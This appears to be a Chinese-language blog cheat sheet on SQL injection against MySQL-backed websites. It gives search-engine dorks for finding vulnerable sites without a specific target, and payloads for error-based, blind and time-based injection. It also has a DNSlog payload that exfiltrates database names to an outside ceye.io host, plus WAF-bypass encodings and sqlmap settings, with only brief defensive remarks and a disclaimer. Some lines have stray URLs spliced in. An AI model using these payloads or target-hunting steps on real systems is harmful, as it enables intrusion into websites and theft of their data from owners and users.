sql注入常用函数
?當所有情緒都堆在一起的時候,才發現自己已經不是那個一塊糖就能開心的小孩子了。。。
----? 網易云熱評
一、MySql注入常用函數
1、system_user()系統用戶名
2、user()用戶名
3、current_user()當前用戶名
4、session_user()鏈接數據庫的用戶名
5、database()數據庫名
6、version()數據庫版本
7、@@datadir數據庫路徑
8、@@basedir數據庫安裝路徑
9、@@version_conpile_os操作系統
10、count()返回執行結果數量
11、concat()沒有分隔符的鏈接字符串
12、concat_ws()含有分隔符的連接字符串
13、group_concat()連接一個組的所有字符串,并以逗號分隔每一條數據
14、load_file()讀取本地文件
15、into outfile 寫文件
16、ascii()字符串的ASCII代碼值
17ord()返回字符串第一個字符的ASCII值
18mid()返回一個字符串的一部分
19substr()返回一個字符串的一部分
20、length()返回字符串的長度
21、left()返回字符串最左面幾個字符
22、floor()返回小于或等于x的最大整數
23、rand()返回0和1之間的一個隨機數
24、extractvalue()
第一個參數:XML_docment是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string(Xpath格式的字符串)
作用:從目標XML中返回包含所查詢值的字符串
25、updatexml()
第一個參數:XML_docment是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:Xpath_string(Xpath格式的字符串)
第三個參數:new_value,String格式,替換查找到的符合條件的數據target.com
作用:改變文檔中符合條件的節點的值
26、sleep()讓此語句運行N秒鐘
27、if() SELECT IF(1>2,2,3) ; -->3
28、char()返回整數ASCII代碼字符組成的字符串
29、strcmp()比較字符串內容
30、ifnull() 假如參數1不為NULL,則返回值為參數1,否則其返回值為參數2
31exp()返回e的x次方
?
二、目標搜集
1、無特定目標:inurl:.php?id=
2、有特定目標:inurl:php?id= site:
3、工具爬取:spider,對搜索引擎和目標網站的鏈接進行爬取
?
三、注入識別
1、手工簡單識別:
'
and 1=1/and 1=2
and '1'='1/and '1'='2
and 1like 1/and 1like 2
2、工具識別:
sqlmap -m filename(filename中保存檢測目標)
sqlmap --crawl(sqlmap對目標網站進行爬取,然后一次進行測試)
3、高級識別
擴展識別廣度和深度:
SqlMap --level 增加測試級別,對header中相關參數也進行測試
sqlmap -r filename(filename中為網站請求數據)
利用工具識別提高效率
BurpSuite+Sqlmap
BurpSuite攔截所有瀏覽器訪問提交的數據
BurpSuite擴展插件,直接調用SqlMap進行測試一些Tips
可以在參數后鍵入"*"來確定想要測試的參數
可能出現的點:新聞、登錄、搜索、留言
站在開發的角度去尋找
?
四、報錯注入方法
1、floor() :select count(*) from information_schema.tables group by concat((select
2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj
3、group by會對rand()函數進行操作時產生錯誤
4、concat:連接字符串功能
5、floor:取float的整數值
6、rand:取0~1之間隨機浮點值
7、group by:根據一個或多個列對結果集進行分組并有排序功能
8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));
9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);
?
五、布爾盲注
1、left()函數
left(database(),1)>'s'
database()顯示數據庫名稱,le?(a,b)從左側截取a的前b位
2、regexp
select user() regexp'^r'
正則表達式的用法user()結果為root,regexp為匹配root的正則表達式
3、like
select user() like'^ro%'
與regexp類似,使用like進行匹配
4、substr()函數 ascii()函數
substr()函數 ascii(substr((select database()),1,1))<>98
substr(a,b,c)從b位置開始,截取字符串a的c長度,ascii()將某個字符轉換為ascii值
5、ord()函數 mid()函數
ord(mid((select user()),1,1))=114
mid(a,b,c)從位置b開始,截取a字符串的c位ord()函數同ascii(),將字符轉為ascii值
?
六、時間盲注
if(left(user(),1)='a',0,sleep(3));
?
七、DNSlog注入
SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));
?
八、寬字節注入
1、在注入點后鍵入%df,然后按照正常的諸如流程開始注入
2、黑盒測試:
在可能的注入點后鍵入%df,之后進行注入測試
3、白盒測試:
查看MySql編碼是否為GBK
是否使用preg_replace把單引號替換成\'
是否使用addslashes進行轉義
是否使用mysql_real_escape_string進行轉義
4、防止寬字節注入
使用utf-8,避免寬字節注入
ps:不僅在gbk,韓文、日文等等都是寬字節,都很有可能存在寬字節注入漏洞
mysql_real_escape_string,mysql_set_charset('gbk',$conn);
設置參數,character_set_client=binary
?
九、二次編碼
1、在注入點后鍵入%2527,然后按照正常的注入流程開始注入
2、黑盒測試:
在可能的注入點后鍵入%2527,之后進行注入測試
3、白盒測試
是否使用urldecode函數
urldecode函數是否存在轉義方法之后
?
十、二次注入
1、插入惡意數據
第一次進行數據庫插入數據的時候,僅僅對其中的特殊字符進行了轉義,再寫入數據庫的時候還是保留了原來的數據,但是數據本身包含惡意內容。
2、引用惡意數據
在將數據存入到數據庫之后,開發者就認為數據是可信的。在下一次需要進行查詢的時候,直接從數據庫中取出了而已數據,沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。
3、二次注入防御:
對外部提交的數據,需要更加謹慎的對待。
程序內部的數據調用,也要嚴格的進行檢查,一旦不小心,測試者就能將特定了SQL語句帶入到查詢當中。
?
十一、WAF繞過
熟練掌握MySQL函數和語法使用方法+深入了解中間件運行處理機制+了解WAF防護原理及方法=隨心所欲的繞過WAF的保護
1、白盒繞過
使用了blacklist函數過濾了'or'和'AND'
大小寫變形:Or,OR,oR
等價替換:and->&&,or->||
2、黑盒繞過
尋找源站->針對云WAF
利用同網段->繞過WAF防護區域
利用邊界漏洞->繞過WAF防護區域
資源限制角度繞過WAF
POST大BODY
請求方式變換GET->POST
Content-Type變換:application/x-www-form-urlencoded;->multipart/form-data;
參數污染
SQL注釋符繞過
Level-1:union/**/select
Level-2:union/*aaaa%01bbs*/select
Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select
內聯注釋:/*!xxx*/
空白符繞過
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/
正則的空白符:%09,%0A,%0B,%0D,%20
Example-1:union%250Cselect
Example-2:union%25A0select
concat%2520(
concat/**/(
concat%250c(http://127.0.0.1/Less/?id=1
concat%25a0(
浮點數詞法解析
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0union select 1,2,3
select * from users where id=\Nunion select 1,2,3
extractvalue(1.concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3))),1);
GeometryCollection((select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
MySQL特殊語法
select{x table_name}from{x information_schema.tables};
3、Fuzz繞過
注釋符繞過
最基本的:union/**/select
中間引入特殊字:union/*aaa%0abbs*/select
最后測試注釋長度:union/*aaaaaaaaaaaaaaa*/select
最基本的模式:union/*something*/select
a1%!%2f
?
十二、sqlmap的conf
sqlmap.py -v3(主函數入口)
--user-agent=websecurity(請求擴充)
--threads=5(訪問優化)
-p id注入配置
--level 3(檢測配置)
--technique=E(注入技術)
--current-user(信息獲取)
--flush-session(通用設置)
--beep(雜項)幕布 - 極簡大綱筆記 | 一鍵生成思維導圖
?
?
禁止非法,后果自負
歡迎關注公眾號:web安全工具庫
?
總結
- 上一篇: 漫画:什么是区块链?
- 下一篇: 今天,给我妈打电话聊了我爸